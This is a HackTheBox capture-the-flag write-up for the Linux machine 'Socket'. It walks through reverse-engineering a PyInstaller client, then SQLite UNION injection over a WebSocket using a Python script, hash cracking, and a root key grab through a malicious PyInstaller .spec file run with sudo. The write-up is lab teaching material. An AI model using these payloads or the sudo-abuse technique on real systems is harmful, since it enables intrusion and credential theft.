HTB: Socket Writeup

Socket - HackTheBox Writeup

Machine Information

AttributeDetails
NameSocket
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.228.216
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Socket ships a QR-code web app that also distributes a desktop client (QReader) for Windows and Linux. The Linux build is a PyInstaller-frozen Python 3.10 binary, and pulling it apart with pyinstxtractor exposes the compiled bytecode backing the app’s “check for updates” feature — which talks to a WebSocket service on port 5789 instead of the web front-end. That WebSocket’s /version endpoint accepts a JSON version field that gets concatenated straight into a SQLite query, giving a classic UNION-based SQL injection. Dumping the database yields a crackable password hash and a username hint buried in a support-ticket table, which together produce SSH access. From there, a NOPASSWD sudo rule lets the low-priv user run PyInstaller as root against an arbitrary .spec file — and PyInstaller’s datas directive will happily bundle any file root can read (including root’s SSH key) into the built executable.

TL;DR: Reverse-engineer PyInstaller Linux binary → recover hidden ws.qreader.htb:5789 WebSocket host → SQLite UNION injection on /version → dump users/answers tables → crack MD5 hash + resolve tkeller username → SSH as tkeller (user.txt) → abuse NOPASSWD build-installer.sh (PyInstaller spec injection) to exfiltrate root’s id_rsa → SSH as root (root.txt).


Reconnaissance

Port Scanning

Terminal window
# Full TCP port sweep against the target
nmap -p- -sC -sV -T4 10.129.228.216

Results:

PortServiceNotes
22SSHOpenSSH
80HTTP (Apache)qreader.htb vhost
5789Python WebSocket servicecustom app backend

The scan pointed at the qreader.htb domain, so it was added to /etc/hosts:

Terminal window
echo "10.129.228.216 qreader.htb" | sudo tee -a /etc/hosts

Service Enumeration

The web app on port 80 is a QR-code encode/decode tool, and it also serves a downloadable desktop client:

Terminal window
# Grab the Linux build of the QReader desktop app
curl -O http://qreader.htb/download/linux

The download is a PyInstaller-frozen Python 3.10 binary — confirmed by strings referencing the PyInstaller loader and bundled Python runtime:

Terminal window
strings qreader | grep -i pyinstaller

pyinstxtractor unpacks the frozen archive back into its component .pyc files:

Terminal window
python3 pyinstxtractor.py qreader

Running strings against the extracted qreader.pyc surfaces the app’s real WebSocket target, which is never exposed in the web UI:

Terminal window
strings qreader_extracted/qreader.pyc | grep -i ws://
# -> ws://ws.qreader.htb:5789

That endpoint has its own /version route, so ws.qreader.htb was resolved to the same host:

Terminal window
echo "10.129.228.216 ws.qreader.htb" | sudo tee -a /etc/hosts

Vulnerability Assessment

  1. Desktop client ships compiled Python bytecode that is trivially recoverable — no obfuscation on the PyInstaller archive.
  2. The /version WebSocket route accepts client-supplied JSON that is passed straight into a backend query — classic injection surface.
  3. sudo -l (post-foothold) exposes a script that runs PyInstaller as root with attacker-controlled build inputs.

Initial Foothold

Exploitation Path

With the real backend host known, a small Python client was used to talk to the WebSocket directly and fuzz the version field of the JSON payload the app sends to /version:

import asyncio
import websockets
import json
async def send(payload):
async with websockets.connect("ws://ws.qreader.htb:5789/version") as ws:
await ws.send(json.dumps({"version": payload}))
return await ws.recv()
print(asyncio.run(send('" OR 1=1;-- -')))

Terminating the string with a bare " breaks out of the intended query and lets arbitrary SQL ride along after it — the server was doing string concatenation, not parameterized queries, when building the version lookup.

# Determine column count for UNION injection
print(asyncio.run(send('" UNION SELECT 1,2,3,4;-- -')))
# 4 columns returned with no error -> query has 4 selected fields
# Confirm the backend engine
print(asyncio.run(send('" UNION SELECT sqlite_version(),2,3,4;-- -')))
# -> valid SQLite version string returned = SQLite backend confirmed

With the engine confirmed as SQLite, sqlite_master was used to enumerate the schema and pull table/column definitions, then dump the interesting tables directly through the same UNION:

# Enumerate table names
print(asyncio.run(send('" UNION SELECT name,2,3,4 FROM sqlite_master;-- -')))
# Dump the users table
print(asyncio.run(send('" UNION SELECT username,password,3,4 FROM users;-- -')))
# -> admin:<redacted> (MD5 hash)
# Dump the answers table (support-ticket style data)
print(asyncio.run(send('" UNION SELECT answered_by,answer,3,4 FROM answers;-- -')))
# -> reveals a real name in the ticket text: Thomas Keller

The answers table dump named Thomas Keller inside a ticket response, which is a strong hint toward a real login (tkeller) even though the only credential the injection directly produced belonged to admin. The admin hash was cracked offline:

Terminal window
# hash extracted via the SQLi is MD5
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
# -> denjanjade122566

The admin account itself doesn’t have shell access, but the cracked password was valid for the tkeller login inferred from the ticket data:

Terminal window
ssh tkeller@qreader.htb
# password: denjanjade122566
Terminal window
cat /home/tkeller/user.txt
# <redacted>

Privilege Escalation

sudo -l as tkeller revealed a NOPASSWD rule for a wrapper script:

/usr/local/sbin/build-installer.sh
sudo -l

The script builds a PyInstaller executable from a user-supplied file — in build mode, it runs pyinstaller as root against an attacker-provided .spec file. PyInstaller .spec files support a datas list under the Analysis(...) call, which bundles arbitrary files the build process (root) can read into the final executable’s payload — this is meant for shipping non-code assets like icons or configs, but nothing stops it from being pointed at /root/.ssh/id_rsa or /root/root.txt:

malicious.spec
a = Analysis(
['dummy.py'],
pathex=['/tmp'],
binaries=[],
datas=[('/root/.ssh/id_rsa', '.'), ('/root/root.txt', '.')],
hiddenimports=[],
hookspath=[],
runtime_hooks=[],
excludes=[],
noarchive=False,
)
pyz = PYZ(a.pure, a.zipped_data)
exe = EXE(pyz, a.scripts, a.binaries, a.zipfiles, a.datas, name='dummy', console=True)
Terminal window
# Trigger the root-owned build with the malicious spec
sudo /usr/local/sbin/build-installer.sh build /tmp/malicious.spec

Because the build runs as root, PyInstaller reads /root/.ssh/id_rsa and /root/root.txt with root’s own file permissions and embeds both inside the resulting dummy executable’s data archive — no direct read access to /root is ever needed by tkeller. The built binary was pulled apart the same way the original QReader client was:

Terminal window
python3 pyinstxtractor.py dummy
# extracted payload contains the bundled id_rsa and root.txt
chmod 600 dummy_extracted/id_rsa
Terminal window
ssh -i dummy_extracted/id_rsa root@qreader.htb
id
# uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
# <redacted>

Attack Chain Summary

PyInstaller Linux client (reverse engineered) → hidden ws.qreader.htb:5789 endpoint
→ SQLite UNION injection on /version → dump users + answers tables
→ crack MD5 hash + resolve tkeller username → SSH as tkeller → user.txt
→ sudo NOPASSWD build-installer.sh → malicious PyInstaller .spec (datas=id_rsa/root.txt)
→ pyinstxtractor extracts root's SSH key → SSH as root → root.txt

Tools Used

ToolPurpose
nmapPort scanning
pyinstxtractorUnpacking the PyInstaller-frozen Linux client and the malicious build artifact
stringsRecovering the hidden WebSocket host from compiled bytecode
websockets (Python)Talking directly to the /version WebSocket endpoint
hashcatCracking the recovered MD5 password hash
sshShell access as tkeller and later as root
pyinstaller (via sudo wrapper)Root-context build used to exfiltrate id_rsa/root.txt

Key Learnings

Techniques Practiced

  • Reverse engineering a PyInstaller-frozen desktop binary to recover hidden backend endpoints
  • Exploiting a raw-concatenation SQL injection over a WebSocket (not just HTTP) transport
  • SQLite-specific enumeration via sqlite_master/sqlite_version() inside a UNION injection
  • Abusing PyInstaller .spec datas bundling to exfiltrate arbitrary root-readable files through a sudo-permitted build step

Lessons Learned

  1. Application logic isn’t confined to the web front-end — a bundled desktop client can expose a completely separate, less-hardened backend service that never shows up in a normal web crawl.
  2. Compiling Python to a PyInstaller binary is not obfuscation; pyinstxtractor + strings recovers hardcoded hosts, endpoints, and logic in minutes.
  3. Any endpoint that builds queries by string concatenation is injectable regardless of transport — WebSocket JSON fields need the same input hygiene as URL parameters.
  4. A “safe-looking” sudo rule that merely wraps a build tool can still be a full root-file-read primitive if the tool has a data-bundling feature (datas, --add-data) that isn’t restricted by the wrapper.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • Socket - HackTheBox Official Writeup by C4rm3l0 (Document No. D23.100.226, Machine Author: Kavigihan) — used to confirm the SQLite injection delimiter/UNION methodology and the PyInstaller .spec datas-bundling privilege escalation technique described above.